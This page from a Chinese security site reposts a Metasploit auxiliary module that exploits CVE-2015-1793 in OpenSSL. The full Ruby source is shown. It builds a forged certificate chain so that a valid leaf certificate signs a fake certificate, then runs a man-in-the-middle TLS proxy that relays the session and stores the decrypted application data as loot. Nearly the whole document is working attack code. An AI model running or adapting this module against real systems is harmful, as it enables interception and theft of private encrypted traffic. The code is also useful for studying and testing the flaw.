首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenSSL Alternative Chains Certificate Forgery MITM Proxy
来源:metasploit.com 作者:Valle 发布时间:2015-07-28  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'openssl'

class Metasploit3 < Msf::Auxiliary

  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'        => 'OpenSSL Alternative Chains Certificate Forgery MITM Proxy',
      'Description'    => %q{
        This module exploits a logic error in OpenSSL by impersonating the server
        and sending a specially-crafted chain of certificates, resulting in
        certain checks on untrusted certificates to be bypassed on the client,
        allowing it to use a valid leaf certificate as a CA certificate to sign a
        fake certificate. The SSL/TLS session is then proxied to the server
        allowing the session to continue normally and application data transmitted
        between the peers to be saved.

        The valid leaf certificate must not contain the keyUsage extension or it
        must have at least the keyCertSign bit set (see X509_check_issued function
        in crypto/x509v3/v3_purp.c); otherwise; X509_verify_cert fails with
        X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY. This module requires an
        active man-in-the-middle attack.
      },
      'Author'      =>
        [
          'David Benjamin', # Vulnerability discovery
          'Adam Langley', # Vulnerability discovery
          'Ramon de C Valle' # Metasploit module
        ],
      'License' => MSF_LICENSE,
      'Actions'     =>
        [
          [ 'Service' ]
        ],
      'PassiveActions' =>
        [
          'Service'
        ],
      'DefaultAction'  => 'Service',
      'References' => [
        ['CVE', '2015-1793'],
        ['CWE', '754'],
        ['URL', 'http://www.openssl.org/news/secadv_20150709.txt'],
        ['URL', 'http://git.openssl.org/?p=openssl.git;a=commit;h=f404943bcab4898d18f3ac1b36479d1d7bbbb9e6']
      ],
      'DisclosureDate' => 'Jul 9 2015'
    )

    register_options(
      [
        OptString.new('CACERT', [ true, "The leaf certificate's CA certificate", nil]),
        OptString.new('CERT', [ true, 'The leaf certificate', nil]),
        OptString.new('KEY', [ true, "The leaf certificate's private key", nil]),
        OptString.new('PASSPHRASE', [ false, "The pass phrase for the leaf certificate's private key", nil]),
        OptString.new('SUBJECT', [ false, 'The subject field for the fake certificate', '/C=US/ST=California/L=Mountain View/O=Example Inc/CN=*.example.com']),
        OptString.new('HOST', [ true, 'The server address', nil]),
        OptString.new('PORT', [ true, 'The server port', 443]),
        OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']),
        OptString.new('SRVPORT', [ true, 'The proxy port', 443])
      ], self.class)
  end

  def cleanup
    super
    return unless @proxy

    begin
      @proxy.deref if @proxy.kind_of?(Rex::Service)
      if @proxy.kind_of?(Rex::Socket)
        @proxy.close
        @proxy.stop
      end
      @proxy = nil
    rescue ::Exception
    end
  end

  def run
    host = datastore['HOST']
    port = datastore['PORT']
    local_host = datastore['SRVHOST']
    local_port = datastore['SRVPORT']

    root_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
    root_ca_key = OpenSSL::PKey::RSA.new(2048)
    root_ca_cert = OpenSSL::X509::Certificate.new
    root_ca_cert.issuer = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
    root_ca_cert.not_after = Time.now + 86400
    root_ca_cert.not_before = Time.now
    root_ca_cert.public_key = root_ca_key.public_key
    root_ca_cert.serial = 0
    root_ca_cert.subject = root_ca_name
    root_ca_cert.version = 2
    extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, root_ca_cert)
    root_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
    root_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
    root_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
    root_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)

    inter_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Intermediate Inc./CN=Intermediate CA')
    inter_ca_key = OpenSSL::PKey::RSA.new(2048)
    inter_ca_cert = OpenSSL::X509::Certificate.new
    inter_ca_cert.issuer = root_ca_name
    inter_ca_cert.not_after = Time.now + 86400
    inter_ca_cert.not_before = Time.now
    inter_ca_cert.public_key = inter_ca_key.public_key
    inter_ca_cert.serial = 0
    inter_ca_cert.subject = inter_ca_name
    inter_ca_cert.version = 2
    extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, inter_ca_cert)
    inter_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
    inter_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
    inter_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
    inter_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)

    subinter_ca_cert = OpenSSL::X509::Certificate.new(File.read(datastore['CACERT']))
    subinter_ca_cert.issuer = inter_ca_name
    subinter_ca_cert.sign(inter_ca_key, OpenSSL::Digest::SHA1.new)
    leaf_key = OpenSSL::PKey::RSA.new(File.read(datastore['KEY']), datastore['PASSPHRASE'])
    leaf_cert = OpenSSL::X509::Certificate.new(File.read(datastore['CERT']))

    fake_name = OpenSSL::X509::Name.parse(datastore['SUBJECT'])
    fake_key = OpenSSL::PKey::RSA.new(2048)
    fake_cert = OpenSSL::X509::Certificate.new
    fake_cert.issuer = leaf_cert.subject
    fake_cert.not_after = Time.now + 3600
    fake_cert.not_before = Time.now
    fake_cert.public_key = fake_key.public_key
    fake_cert.serial = 0
    fake_cert.subject = fake_name
    fake_cert.version = 2
    extension_factory = OpenSSL::X509::ExtensionFactory.new(leaf_cert, fake_cert)
    fake_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:FALSE', true))
    fake_cert.add_extension(extension_factory.create_extension('keyUsage', 'digitalSignature,nonRepudiation,keyEncipherment'))
    fake_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
    fake_cert.sign(leaf_key, OpenSSL::Digest::SHA1.new)

    context = OpenSSL::SSL::SSLContext.new
    context.cert = fake_cert
    context.extra_chain_cert = [leaf_cert, subinter_ca_cert]
    context.key = fake_key

    @proxy = Rex::Socket::SslTcpServer.create(
      'LocalHost' => local_host,
      'LocalPort' => local_port,
      'SSLContext' => context,
      'Context'   =>
        {
          'Msf'        => framework,
          'MsfExploit' => self
        })

    print_status('Listening on %s:%d' % [local_host, local_port])

    thread_num = 0

    loop do
      framework.threads.spawn("Thread #{thread_num += 1}", false, @proxy.accept) do |client|
        add_socket(client)
        application_data = ''
        print_status('Accepted connection from %s:%d' % [client.peerhost, client.peerport])

        server = Rex::Socket::Tcp.create(
          'PeerHost' => host,
          'PeerPort' => port,
          'SSL'      => true,
          'SSLVerifyMode' => 'NONE',
          'Context'  =>
            {
              'Msf'        => framework,
              'MsfExploit' => self
            })
        add_socket(server)

        print_status('Connected to %s:%d' % [host, port])

        begin
          loop do
            readable, _, _ = IO.select([client, server])

            readable.each do |r|
              data = r.get_once
              print_status('%d bytes received' % [data.bytesize])

              application_data << data

              case r
              when client
                count = server.put(data)
                print_status('%d bytes sent' % [count])
              when server
                count = client.put(data)
                print_status('%d bytes sent' % [count])
              end
            end
          end

        rescue EOFError, Errno::ECONNRESET
          path = store_loot(
            'tls.application_data',
            'application/octet-stream',
            client.peerhost,
            application_data,
            'application_data',
            'TLS session application data'
          )

          print_good("SSL/TLS session application data successfully stored in #{path}")

          client.close
          server.close

          next
        end

        client.close
        server.close
      end
    end
  end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple OS X DYLD_PRINT_TO_FILE
·Sudo <=1.8.14 - Unauthorized P
·OS X 10.10 DYLD_PRINT_TO_FILE
·Heroes of Might and Magic III
·Counter-Strike 1.6 GameInfo Qu
·OpenBSD Local Denial Of Servic
·tcpdump rpki_rtr_pdu_print Out
·KMPlayer 3.9.x - .srt Crash Po
·Internet Download Manager OLE
·T-Mobile Internet Manager - Co
·Foxit Reader - PNG Conversion
·BIND9 - TKEY PoC
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved